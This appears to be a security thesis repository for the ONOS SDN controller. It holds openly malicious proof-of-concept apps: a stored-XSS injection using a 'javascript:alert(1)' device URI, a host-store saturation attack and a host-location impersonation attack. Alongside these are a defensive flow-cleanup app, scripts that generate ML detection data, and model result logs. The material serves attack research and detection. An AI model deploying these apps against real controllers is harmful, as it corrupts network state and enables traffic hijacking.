90 | private void log(String appName, String appKey, String content) { 91 | long timeMilli = new Date().getTime(); 92 | 93 | try { 94 | createFile(); 95 | FileWriter fw = new FileWriter(LOGFILENAME, true); 96 | BufferedWriter bw = new BufferedWriter(fw); 97 | PrintWriter out = new PrintWriter(bw); 98 | out.println(timeMilli + " " + appName + " " + content + "\n"); 99 | out.close(); 100 | log.info("ONOS-LOG | Successfully wrote to file!"); 101 | } catch (IOException e) { 102 | log.info("ONOS-LOG | Error while writing to file {}", LOGFILENAME); 103 | e.printStackTrace(); 104 | } 105 | } 106 | 107 | private File createFile() { 108 | try { 109 | File myObj = new File(LOGFILENAME); 110 | if (!myObj.exists()) { 111 | myObj.createNewFile(); 112 | } 113 | return myObj; 114 | } catch (Exception e) { 115 | log.info("ONOS-LOG | Error while creating file {}", LOGFILENAME); 116 | e.printStackTrace(); 117 | } 118 | 119 | return null; 120 | } 121 | } -------------------------------------------------------------------------------- /apps/xssdevice-app/src/main/java/org/onosproject/xssdevice/XssDevicePoc.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.onosproject.xssdevice; 17 | 18 | import org.apache.felix.scr.annotations.Activate; 19 | import org.apache.felix.scr.annotations.Component; 20 | import org.apache.felix.scr.annotations.Deactivate; 21 | import org.apache.felix.scr.annotations.Reference; 22 | import org.apache.felix.scr.annotations.ReferenceCardinality; 23 | import org.slf4j.Logger; 24 | import org.slf4j.LoggerFactory; 25 | import org.onosproject.core.CoreService; 26 | import org.onosproject.net.device.DeviceStore; 27 | import org.onosproject.net.Device; 28 | import org.onosproject.net.DeviceId; 29 | import java.net.URI; 30 | import org.onlab.packet.ChassisId; 31 | import org.onosproject.net.DefaultAnnotations; 32 | import org.onosproject.net.device.DefaultDeviceDescription; 33 | import org.onosproject.net.provider.ProviderId; 34 | import java.io.StringWriter; 35 | import java.io.PrintWriter; 36 | import org.onosproject.net.device.DeviceService; 37 | import java.util.Random; 38 | import java.util.ArrayList; 39 | import java.util.List; 40 | 41 | /** 42 | * XSS device POC application 43 | */ 44 | @Component(immediate = true) 45 | public class XssDevicePoc { 46 | 47 | private final Logger log = LoggerFactory.getLogger(getClass()); 48 | 49 | private final String PAYLOAD = "CLICKME"; 50 | 51 | @Reference(cardinality = ReferenceCardinality.MANDATORY_UNARY) 52 | protected CoreService coreService; 53 | 54 | @Reference(cardinality = ReferenceCardinality.MANDATORY_UNARY) 55 | protected DeviceStore deviceStore; 56 | 57 | @Reference(cardinality = ReferenceCardinality.MANDATORY_UNARY) 58 | protected DeviceService deviceService; 59 | 60 | @Activate 61 | protected void activate() { 62 | coreService.registerApplication("org.onosproject.xssdevice.app", () -> log.info("Periscope down.")); 63 | injectXss(); 64 | log.info("Started xssdevice App!"); 65 | } 66 | 67 | @Deactivate 68 | protected void deactivate() { 69 | log.info("Stopped xssdevice App!"); 70 | } 71 | 72 | private void injectXss() { 73 | try { 74 | URI uri = new URI("javascript:alert(1)"); 75 | 76 | DeviceId dId = pickRandomDevice().id(); 77 | 78 | ChassisId cId = new ChassisId(5); 79 | 80 | DefaultAnnotations sa = DefaultAnnotations.builder().build(); 81 | 82 | DefaultDeviceDescription deviceDescription = new DefaultDeviceDescription(uri, Device.Type.SWITCH, PAYLOAD, 83 | PAYLOAD, PAYLOAD, PAYLOAD, cId, sa); 84 | deviceStore.createOrUpdateDevice(ProviderId.NONE, dId, deviceDescription); 85 | 86 | log.info("Payload injected!"); 87 | 88 | } catch (Exception e) { 89 | e.printStackTrace(); 90 | StringWriter sw = new StringWriter(); 91 | PrintWriter pw = new PrintWriter(sw); 92 | e.printStackTrace(pw); 93 | log.info(sw.toString()); 94 | log.info("exception!!!!!!11!!!!11!"); 95 | } 96 | } 97 | 98 | // pickRandomDevice picks a random device 99 | private Device pickRandomDevice() { 100 | Iterable devices = deviceService.getDevices(); 101 | Random rand = new Random(); 102 | List deviceList = new ArrayList(); 103 | devices.forEach(deviceList::add); 104 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size())); 105 | 106 | return randomDevice; 107 | } 108 | } -------------------------------------------------------------------------------- /onos-dm/out/predict1.out: -------------------------------------------------------------------------------- 1 | Start time: 08:35:05 2 | ----------- Training data ----------- 3 | Read 1000/1000 lines 4 | Model intercept: [0.45362965] 5 | Model coef: [[ 0.00930541 -0.201505 -0.08063287 -0.31379289 0.04821109 -0.00706431 6 | 0.20176571 0.08814026 0.22450939 0.05680557 -0.03375725 -0.03792975 7 | -0.07347126 -0.17010995 0.16166818 -0.1482595 0.10722177 -0.12865706 8 | 0.09150549 0.07570399 -0.15883623 0.13775833 -0.02749458 0.06827349 9 | 0.07249931 -0.00331505 0.01940131 -0.04701076 -0.11123745 0.03264133 10 | 0.00473902 0.14491994 0.11618835 0.18173058 -0.06869588 -0.09785899 11 | -0.19739601 -0.18001466 0.04149096 -0.17389321 0.21443231 -0.14482149 12 | 0.05300908 0.17317241 -0.18538794 0.39363553 -0.12526721 0.15906628 13 | -0.2801957 -0.11023083]] 14 | Model score: 0.57 15 | Model confusion matrix: 16 | [[379 164] 17 | [266 191]] 18 | ----------- Test data ----------- 19 | Read 200/200 lines 20 | Model score: 0.455 21 | Model confusion matrix: 22 | [[64 45] 23 | [64 27]] 24 | End time: 08:35:05 25 | Time difference is 0.0 seconds 26 | 27 | 28 | 29 | 30 | Start time: 08:35:44 31 | ----------- Training data ----------- 32 | Read 5000/5000 lines 33 | Model intercept: [0.066663] 34 | Model coef: [[-0.02000427 -0.00856048 0.05041218 0.01219351 -0.04425815 0.02215314 35 | 0.07090738 -0.09447646 0.01377628 0.0590997 -0.0709149 -0.06583122 36 | 0.01093524 0.05680269 0.07111625 -0.05747289 -0.0349563 -0.16439492 37 | -0.04899456 0.05313802 0.03096939 0.05236953 -0.06738932 -0.06004956 38 | 0.02820821 0.05511832 0.02020215 0.09540898 -0.14673288 0.00222738 39 | -0.02630136 0.01289259 -0.02278014 0.05532484 -0.05141782 -0.05074537 40 | -0.04971631 0.03263814 0.16097066 -0.01396526 -0.02540109 -0.07411055 41 | -0.00248324 -0.04218077 -0.02574775 0.13374394 0.0414952 0.09457155 42 | 0.05715287 -0.11243002]] 43 | Model score: 0.5342 44 | Model confusion matrix: 45 | [[2025 668] 46 | [1661 646]] 47 | ----------- Test data ----------- 48 | Read 1000/1000 lines 49 | Model score: 0.5 50 | Model confusion matrix: 51 | [[385 162] 52 | [338 115]] 53 | End time: 08:35:44 54 | Time difference is 0.0 seconds 55 | 56 | 57 | 58 | 59 | Start time: 08:36:15 60 | ----------- Training data ----------- 61 | Read 20000/20000 lines 62 | Model intercept: [0.03394676] 63 | Model coef: [[-0.03861191 0.04931607 0.07449358 0.05817177 0.02463464 0.02631613 64 | 0.03889309 -0.03294749 -0.01482289 -0.10508585 -0.0609968 0.02940456 65 | 0.02949645 0.02490895 0.05767322 0.00234761 -0.02327582 -0.05129731 66 | -0.0684811 0.0513657 -0.00651195 -0.05298714 -0.04759383 -0.03259931 67 | 0.00121365 0.02949021 -0.00358584 0.05930341 0.08226224 0.02898081 68 | -0.02642346 -0.09798426 -0.08085665 0.00043928 -0.02275487 -0.0326787 69 | -0.02193566 0.0056452 0.08473014 0.03108327 0.00670937 -0.01107172 70 | 0.00226148 -0.00901274 -0.0451641 0.01105306 0.0379289 0.00847789 71 | -0.05369933 0.0018892 ]] 72 | Model score: 0.5795 73 | Model confusion matrix: 74 | [[9658 1167] 75 | [7243 1932]] 76 | ----------- Test data ----------- 77 | Read 4000/4000 lines 78 | Model score: 0.578 79 | Model confusion matrix: 80 | [[1940 294] 81 | [1394 372]] 82 | End time: 08:36:19 83 | Time difference is 4.0 seconds 84 | 85 | 86 | 87 | 88 | Start time: 08:36:46 89 | ----------- Training data ----------- 90 | Read 100000/100000 lines 91 | Model intercept: [-0.01700361] 92 | Model coef: [[-0.06277242 -0.00113744 0.03658227 0.04852386 0.02818724 0.00134897 93 | 0.03086896 0.00114944 0.00509284 -0.06778711 -0.06259036 -0.01979433 94 | 0.01372712 0.03128051 0.03717852 0.00043469 0.01573707 -0.00742081 95 | -0.01428887 0.04596834 0.00992131 -0.02537386 -0.03534592 -0.03486252 96 | -0.01887781 0.00530162 -0.0012816 0.01558647 0.05902059 0.0461504 97 | -0.00873558 -0.04822901 -0.05258927 -0.02587124 -0.01979209 -0.00983027 98 | -0.00985184 -0.00379525 0.01071412 0.00988532 0.02835169 0.00259757 99 | 0.02457882 0.00326674 -0.01156015 0.01662989 -0.01506033 0.00307068 100 | -0.02924092 -0.00474239]] 101 | Model score: 0.61141 102 | Model confusion matrix: 103 | [[53142 843] 104 | [38016 7999]] 105 | ----------- Test data ----------- 106 | Read 20000/20000 lines 107 | Model score: 0.60775 108 | Model confusion matrix: 109 | [[10602 199] 110 | [ 7646 1553]] 111 | End time: 08:40:11 112 | Time difference is 205.0 seconds -------------------------------------------------------------------------------- /apps/ipsaturation-app/src/main/java/org/ipsaturation/app/IpSaturation.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | * 16 | * @author edoardottt, https://edoardottt.com/ 17 | */ 18 | 19 | package org.ipsaturation.app; 20 | 21 | import org.osgi.service.component.annotations.Activate; 22 | import org.osgi.service.component.annotations.Component; 23 | import org.osgi.service.component.annotations.Deactivate; 24 | import org.osgi.service.component.annotations.Reference; 25 | import org.osgi.service.component.annotations.ReferenceCardinality; 26 | import org.slf4j.Logger; 27 | import org.slf4j.LoggerFactory; 28 | import org.onlab.packet.IpAddress; 29 | import org.onlab.packet.MacAddress; 30 | import org.onosproject.core.CoreService; 31 | import org.onosproject.net.host.HostService; 32 | import org.onosproject.net.host.HostStore; 33 | import org.onosproject.net.provider.ProviderId; 34 | import org.onosproject.net.Host; 35 | import org.onosproject.net.HostId; 36 | import org.onosproject.net.HostLocation; 37 | import org.onosproject.net.device.DeviceService; 38 | import org.onosproject.net.device.DeviceStore; 39 | import org.onlab.packet.VlanId; 40 | import org.onosproject.net.host.DefaultHostDescription; 41 | import org.onosproject.net.DefaultAnnotations; 42 | 43 | import java.util.Random; 44 | import java.util.ArrayList; 45 | import java.util.List; 46 | import java.util.Set; 47 | import java.util.HashSet; 48 | 49 | /** 50 | * IPv4 Saturation Malicious App. 51 | */ 52 | @Component(immediate = true) 53 | public class IpSaturation { 54 | 55 | private final Logger log = LoggerFactory.getLogger(getClass()); 56 | 57 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 58 | protected CoreService coreService; 59 | 60 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 61 | protected HostService hostService; 62 | 63 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 64 | protected HostStore hostStore; 65 | 66 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 67 | protected DeviceService deviceService; 68 | 69 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 70 | protected DeviceStore deviceStore; 71 | 72 | @Activate 73 | protected void activate() { 74 | coreService.registerApplication("org.edoardottt.ipsaturation.app", () -> log.info("Periscope down.")); 75 | editHostStore(); 76 | log.info("Started ipsaturation App!"); 77 | } 78 | 79 | @Deactivate 80 | protected void deactivate() { 81 | log.info("Stopped ipsaturation App!"); 82 | } 83 | 84 | // editHostStore mess up with the Host Data Store. 85 | private void editHostStore() { 86 | int startIp = 5; 87 | int ipPool = 100; 88 | String baseIp = "10.0.0."; 89 | 90 | for (int i = startIp; i < ipPool; i++) { 91 | String chosenIp = baseIp + String.valueOf(i); 92 | addHost(chosenIp); 93 | } 94 | } 95 | 96 | // addHost 97 | private void addHost(String ipAddress) { 98 | MacAddress mac = MacAddress.valueOf("00:00:00:00:00:10"); 99 | Host h = pickRandomHost(); 100 | VlanId vlan = h.vlan(); 101 | Set locations = h.locations(); 102 | 103 | IpAddress ipA = IpAddress.valueOf(ipAddress); 104 | Set ip = new HashSet(); 105 | ip.add(ipA); 106 | 107 | boolean configured = true; 108 | DefaultAnnotations annotations = DefaultAnnotations.builder().build(); 109 | DefaultHostDescription hd = new DefaultHostDescription(mac, vlan, locations, ip, configured, annotations); 110 | 111 | ProviderId providerId = h.providerId(); 112 | HostId hostId = HostId.hostId(mac.toString() + "0" + ipAddress.split("\\.")[3]); 113 | boolean replaceIps = true; 114 | hostStore.createOrUpdateHost(providerId, hostId, hd, replaceIps); 115 | 116 | log.info("Added Host {}!", ipAddress); 117 | } 118 | 119 | // pickRandomHost picks a random host 120 | private Host pickRandomHost() { 121 | Iterable hosts = hostService.getHosts(); 122 | Random rand = new Random(); 123 | List hostList = new ArrayList(); 124 | hosts.forEach(hostList::add); 125 | Host randomHost = hostList.get(rand.nextInt(hostList.size())); 126 | 127 | return randomHost; 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /apps/impersonation-host-tracking-app/src/main/java/org/edoardottt/impersonationhosttracking/ImpersonationHostTracking.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | * 16 | * @author edoardottt, https://edoardottt.com/ 17 | */ 18 | 19 | package org.edoardottt.impersonationhosttracking; 20 | 21 | import org.osgi.service.component.annotations.Activate; 22 | import org.osgi.service.component.annotations.Component; 23 | import org.osgi.service.component.annotations.Deactivate; 24 | import org.osgi.service.component.annotations.Reference; 25 | import org.osgi.service.component.annotations.ReferenceCardinality; 26 | import org.slf4j.Logger; 27 | import org.slf4j.LoggerFactory; 28 | import org.onosproject.core.CoreService; 29 | import org.onosproject.net.host.HostService; 30 | import org.onosproject.net.host.HostStore; 31 | import org.onosproject.net.Host; 32 | import org.onosproject.net.HostId; 33 | import org.onosproject.net.HostLocation; 34 | import org.onosproject.net.device.DeviceService; 35 | import org.onosproject.net.device.DeviceStore; 36 | import org.onosproject.net.Device; 37 | import java.util.ArrayList; 38 | import java.util.List; 39 | import java.util.Set; 40 | 41 | /** 42 | * Impersonation Host Tracking Application. 43 | */ 44 | @Component(immediate = true) 45 | public class ImpersonationHostTracking { 46 | 47 | private final Logger log = LoggerFactory.getLogger(getClass()); 48 | 49 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 50 | protected CoreService coreService; 51 | 52 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 53 | protected HostService hostService; 54 | 55 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 56 | protected HostStore hostStore; 57 | 58 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 59 | protected DeviceService deviceService; 60 | 61 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 62 | protected DeviceStore deviceStore; 63 | 64 | @Activate 65 | protected void activate() { 66 | coreService.registerApplication("org.edoardottt.impersonationhosttracking.app", 67 | () -> log.info("Periscope down.")); 68 | editHostStore(); 69 | log.info("Started impersonationhosttracking App!"); 70 | } 71 | 72 | @Deactivate 73 | protected void deactivate() { 74 | log.info("Stopped impersonationhosttracking App!"); 75 | } 76 | 77 | // editHostStore mess up with the Host Data Store. 78 | private void editHostStore() { 79 | Iterable devices = deviceService.getDevices(); 80 | List deviceList = new ArrayList(); 81 | devices.forEach(deviceList::add); 82 | log.info("Impersonation Host Tracking App: Devices {}", deviceList); 83 | Device s2 = deviceList.get(1); 84 | Set hosts = hostStore.getConnectedHosts(s2.id()); 85 | log.info("Impersonation Host Tracking App: Hosts {}", hosts.toString()); 86 | List hostsArray = new ArrayList<>(hosts); 87 | List victims = new ArrayList<>(); 88 | Host attacker = hostsArray.get(0); 89 | log.info("Impersonation Host Tracking App: Attacker {}", attacker.toString()); 90 | for (Host h : hostsArray) { 91 | if (!h.equals(attacker)) { 92 | victims.add(h); 93 | } 94 | } 95 | log.info("Impersonation Host Tracking App: Victims {}", victims.toString()); 96 | changeLocation(getLocations(attacker.id()).iterator().next(), victims); 97 | for (Host h : victims) { 98 | log.info("Impersonation Host Tracking App: Victim {} > new Locations {}", h.id(), getLocations(h.id())); 99 | } 100 | } 101 | 102 | private void changeLocation(HostLocation attacker, List victims) { 103 | for (Host h : victims) { 104 | log.info("Impersonation Host Tracking App: Targeting host {}", h); 105 | Set oldLocation = getLocations(h.id()); 106 | log.info("Impersonation Host Tracking App: Victim Locations {}", oldLocation); 107 | hostStore.appendLocation(h.id(), attacker); 108 | log.info("Impersonation Host Tracking App: Victim Locations {}", getLocations(h.id())); 109 | hostStore.removeLocation(h.id(), oldLocation.iterator().next()); 110 | log.info("Impersonation Host Tracking App: Victim Locations {}", getLocations(h.id())); 111 | } 112 | } 113 | 114 | private Set getLocations(HostId hID) { 115 | Host h = hostService.getHost(hID); 116 | Set locations = h.locations(); 117 | return locations; 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /onos-dm/gendata2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # -------- imports -------- 4 | import os 5 | import itertools 6 | import random 7 | 8 | # -------- global variables -------- 9 | 10 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/" 11 | training_out_file = "training-data.txt" 12 | test_out_file = "test-data.txt" 13 | training_out_file_ml = "training-data-ml.txt" 14 | test_out_file_ml = "test-data-ml.txt" 15 | space = " " 16 | tab = " " 17 | 18 | apps = { 19 | "org.onosproject.fwd": ["getHost", "forward"], 20 | "org.edoardottt.malhosttracking.app": ["appendLocation", "removeLocation"], 21 | } 22 | 23 | app_name = {"org.onosproject.fwd": 1, "org.edoardottt.malhosttracking.app": 2} 24 | action_name = {"getHost": 3, "forward": 4, "appendLocation": 5, "removeLocation": 6} 25 | 26 | items = { 27 | "org.onosproject.fwd getHost": "1", 28 | "org.onosproject.fwd forward": "2", 29 | "org.edoardottt.malhosttracking.app appendLocation": "3", 30 | "org.edoardottt.malhosttracking.app removeLocation": "4", 31 | } 32 | 33 | items_fwd = { 34 | "org.onosproject.fwd getHost": "1", 35 | "org.onosproject.fwd forward": "2", 36 | } 37 | 38 | items_mal = { 39 | "org.edoardottt.malhosttracking.app appendLocation": "3", 40 | "org.edoardottt.malhosttracking.app removeLocation": "4", 41 | } 42 | 43 | fwds = ["1", "2"] 44 | mals = ["3", "4"] 45 | 46 | # -------- data creation -------- 47 | 48 | 49 | def is_attack(stringa): 50 | if "3" in stringa: 51 | index3 = stringa.index("3") 52 | if "2" in stringa and stringa.index("2", index3, len(stringa) - 1): 53 | return True 54 | 55 | if "4" in stringa: 56 | index4 = stringa.index("4") 57 | if "2" in stringa and stringa.index("2", index4, len(stringa) - 1): 58 | return True 59 | 60 | return False 61 | 62 | 63 | def generate_cap(limit): 64 | result = [i for i in range(limit + 1)] 65 | 66 | temp = [] 67 | temp += [p for p in itertools.product(items.values(), repeat=10)] 68 | for i in range(len(temp)): 69 | temp[i] += temp[i] + temp[i] + temp[i] + temp[i] 70 | if is_attack(temp[i]): 71 | temp[i] += (tab + "1",) 72 | else: 73 | temp[i] += (tab + "0",) 74 | for i in range(len(temp)): 75 | result[i] = temp[i] 76 | if i >= limit: 77 | break 78 | 79 | return result 80 | 81 | 82 | def add_zeros(): 83 | result = [] 84 | 85 | temp = [] 86 | temp += [p for p in itertools.product(items_fwd.values(), repeat=19)] 87 | for i in range(len(temp)): 88 | temp[i] += temp[i] + tuple(random.choices(fwds, k=12)) + (tab + "0",) 89 | 90 | temp2 = [] 91 | temp2 += [p for p in itertools.product(items_mal.values(), repeat=19)] 92 | for i in range(len(temp)): 93 | temp2[i] += temp2[i] + tuple(random.choices(mals, k=12)) + (tab + "0",) 94 | 95 | for i in range(len(temp)): 96 | result.append(temp[i]) 97 | 98 | for i in range(len(temp2)): 99 | result.append(temp2[i]) 100 | 101 | return result 102 | 103 | 104 | # -------- create datasets -------- 105 | 106 | 107 | def create_data_folder(): 108 | exist = os.path.exists(directory) 109 | if not exist: 110 | os.makedirs(directory) 111 | print("[ + ] Created output folder!") 112 | return 113 | print("[ + ] Output folder exists!") 114 | 115 | 116 | def create_datasets(entries, count): 117 | random.shuffle(entries) 118 | 119 | resultA = [] 120 | resultB = [] 121 | 122 | for i in range(int(len(entries) / 100 * count)): 123 | resultA.append(entries[i]) 124 | 125 | for i in range(int(len(entries) / 100 * count), len(entries)): 126 | resultB.append(entries[i]) 127 | 128 | return (resultA, resultB) 129 | 130 | 131 | def write_file(file, input): 132 | with open(directory + file, "w+") as f: 133 | for i in input: 134 | f.write("".join(i) + "\n") 135 | 136 | 137 | # -------- ML-friendly data transformation -------- 138 | 139 | 140 | def trasform(listA, listB): 141 | resultA = [] 142 | resultB = [] 143 | for strelem in listA: 144 | for elem in app_name: 145 | strelem = strelem.replace(elem, str(app_name[elem])) 146 | for elem in action_name: 147 | strelem = strelem.replace(elem, str(action_name[elem])) 148 | resultA.append(strelem) 149 | 150 | for strelem in listB: 151 | for elem in app_name: 152 | strelem = strelem.replace(elem, str(app_name[elem])) 153 | for elem in action_name: 154 | strelem = strelem.replace(elem, str(action_name[elem])) 155 | resultB.append(strelem) 156 | 157 | return (resultA, resultB) 158 | 159 | 160 | # -------- main -------- 161 | 162 | if __name__ == "__main__": 163 | create_data_folder() 164 | 165 | mid_entries = generate_cap(1000000) 166 | 167 | entries = mid_entries + add_zeros() 168 | 169 | print("[ + ] Generated {} items!".format(len(entries))) 170 | 171 | listA, listB = create_datasets(entries, 90) 172 | 173 | print("[ + ] Training files contain {} entries!".format(str(len(listA)))) 174 | print("[ + ] Test files contain {} entries!".format(str(len(listB)))) 175 | 176 | # write_file(training_out_file, listA) 177 | # write_file(test_out_file, listB) 178 | write_file(training_out_file_ml, listA) 179 | write_file(test_out_file_ml, listB) 180 | -------------------------------------------------------------------------------- /apps/locationrouting-app/src/main/java/org/onosproject/locationrouting/LocationRouting.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | * 16 | * @author edoardottt, https://edoardottt.com/ 17 | */ 18 | 19 | package org.onosproject.locationrouting; 20 | 21 | import java.util.Collection; 22 | import java.util.concurrent.ExecutorService; 23 | import java.util.List; 24 | import org.onlab.packet.MacAddress; 25 | import org.onosproject.core.ApplicationId; 26 | import org.onosproject.core.CoreService; 27 | import org.onosproject.net.Device; 28 | import org.onosproject.net.device.DeviceService; 29 | import org.onosproject.net.flow.criteria.Criterion; 30 | import org.onosproject.net.flow.criteria.Criterion.Type; 31 | import org.onosproject.net.flow.criteria.EthCriterion; 32 | import org.onosproject.net.flow.FlowRule; 33 | import org.onosproject.net.flow.FlowRuleService; 34 | import org.onosproject.net.Host; 35 | import org.onosproject.net.host.HostEvent; 36 | import org.onosproject.net.host.HostListener; 37 | import org.onosproject.net.host.HostService; 38 | import org.osgi.service.component.annotations.Activate; 39 | import org.osgi.service.component.annotations.Component; 40 | import org.osgi.service.component.annotations.Deactivate; 41 | import org.osgi.service.component.annotations.Reference; 42 | import org.osgi.service.component.annotations.ReferenceCardinality; 43 | import org.slf4j.Logger; 44 | import org.slf4j.LoggerFactory; 45 | 46 | import static java.util.concurrent.Executors.newSingleThreadScheduledExecutor; 47 | import static org.onlab.util.Tools.groupedThreads; 48 | 49 | import com.google.common.collect.Lists; 50 | 51 | /** 52 | * Location Routing. 53 | */ 54 | @Component(immediate = true) 55 | public class LocationRouting { 56 | 57 | private final Logger log = LoggerFactory.getLogger(getClass()); 58 | 59 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 60 | protected CoreService coreService; 61 | 62 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 63 | protected FlowRuleService flowRuleService; 64 | 65 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 66 | protected HostService hostService; 67 | 68 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 69 | protected DeviceService deviceService; 70 | 71 | protected ExecutorService eventExecutor; 72 | 73 | private final InternalHostListener hostListener = new InternalHostListener(); 74 | 75 | private ApplicationId appId; 76 | 77 | @Activate 78 | protected void activate() { 79 | appId = coreService.registerApplication("org.edoardottt.locationrouting.app", 80 | () -> log.info("Periscope down.")); 81 | eventExecutor = newSingleThreadScheduledExecutor(groupedThreads("onos/locationrouting", "events-%d", log)); 82 | hostService.addListener(hostListener); 83 | log.info("Started locationrouting App!"); 84 | } 85 | 86 | @Deactivate 87 | protected void deactivate() { 88 | flowRuleService.removeFlowRulesById(appId); 89 | hostService.removeListener(hostListener); 90 | eventExecutor.shutdownNow(); 91 | eventExecutor = null; 92 | log.info("Stopped locationrouting App!"); 93 | } 94 | 95 | private class InternalHostListener implements HostListener { 96 | @Override 97 | public void event(HostEvent event) { 98 | eventExecutor.execute(() -> { 99 | log.info("Host {} has moved; cleaning up.", event.subject()); 100 | cleanup(event.subject()); 101 | }); 102 | } 103 | } 104 | 105 | /** 106 | * For a given host, remove any flow rule which references it's addresses. 107 | * 108 | * @param host the host to clean up for 109 | */ 110 | private void cleanup(Host host) { 111 | Iterable devices = deviceService.getDevices(); 112 | List flowRules = Lists.newLinkedList(); 113 | for (Device device : devices) { 114 | flowRules.addAll(cleanupDevice(device, host)); 115 | } 116 | FlowRule[] flows = new FlowRule[flowRules.size()]; 117 | flows = flowRules.toArray(flows); 118 | flowRuleService.removeFlowRules(flows); 119 | } 120 | 121 | private Collection cleanupDevice(Device device, Host host) { 122 | List flowRules = Lists.newLinkedList(); 123 | MacAddress mac = host.mac(); 124 | for (FlowRule rule : flowRuleService.getFlowEntries(device.id())) { 125 | for (Criterion c : rule.selector().criteria()) { 126 | if (c.type() == Type.ETH_DST || c.type() == Type.ETH_SRC) { 127 | EthCriterion eth = (EthCriterion) c; 128 | if (eth.mac().equals(mac)) { 129 | flowRules.add(rule); 130 | } 131 | } 132 | } 133 | } 134 | return flowRules; 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /onos-dm/gendata1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # -------- imports -------- 4 | import os 5 | import itertools 6 | import random 7 | 8 | 9 | # -------- global variables -------- 10 | 11 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/" 12 | training_out_file = "training-data.txt" 13 | test_out_file = "test-data.txt" 14 | training_out_file_ml = "training-data-ml.txt" 15 | test_out_file_ml = "test-data-ml.txt" 16 | space = " " 17 | tab = " " 18 | 19 | apps = { 20 | "org.onosproject.fwd": ["getHost", "forward"], 21 | "org.edoardottt.malhosttracking.app": ["appendLocation", "removeLocation"], 22 | } 23 | 24 | app_name = {"org.onosproject.fwd": 1, "org.edoardottt.malhosttracking.app": 2} 25 | action_name = {"getHost": 3, "forward": 4, "appendLocation": 5, "removeLocation": 6} 26 | 27 | # -------- data creation -------- 28 | 29 | 30 | def generate_cap_attacks(): 31 | result = [] 32 | temp = [] 33 | 34 | # getHost and/or forward (even 0) 35 | comb = [] 36 | for i in range(6): 37 | comb += [p for p in itertools.product(apps["org.onosproject.fwd"], repeat=i)] 38 | for elem in comb: 39 | if len(elem) > 0: 40 | to_add = "org.onosproject.fwd" + "org.onosproject.fwd".join(elem) 41 | temp += [to_add] 42 | 43 | # appendLocation and/or RemoveLocation (at least 1) 44 | comb = [] 45 | temp2 = [] 46 | for i in range(1, 5): 47 | comb += [ 48 | p 49 | for p in itertools.product( 50 | apps["org.edoardottt.malhosttracking.app"], repeat=i 51 | ) 52 | ] 53 | count = 0 54 | for lista in comb: 55 | for elem in temp: 56 | to_add = ( 57 | "org.edoardottt.malhosttracking.app" 58 | + "org.edoardottt.malhosttracking.app".join(lista) 59 | ) 60 | temp2 += [to_add] 61 | 62 | # getHost and/or forward (at least 1 forward) 63 | comb = [] 64 | for i in range(1, 6): 65 | comb += [p for p in itertools.product(apps["org.onosproject.fwd"], repeat=i)] 66 | for lista in comb: 67 | for elem in temp2: 68 | if not (len(list(set(lista))) == 1 and list(set(lista))[0] == "getHost"): 69 | result += [ 70 | elem + "org.onosproject.fwd" + "org.onosproject.fwd".join(lista) 71 | ] 72 | 73 | for i in range(len(result)): 74 | result[i] = result[i] + tab + str(1) 75 | 76 | print("[ + ] Generated {} cap attacks!".format(len(result))) 77 | 78 | return result 79 | 80 | 81 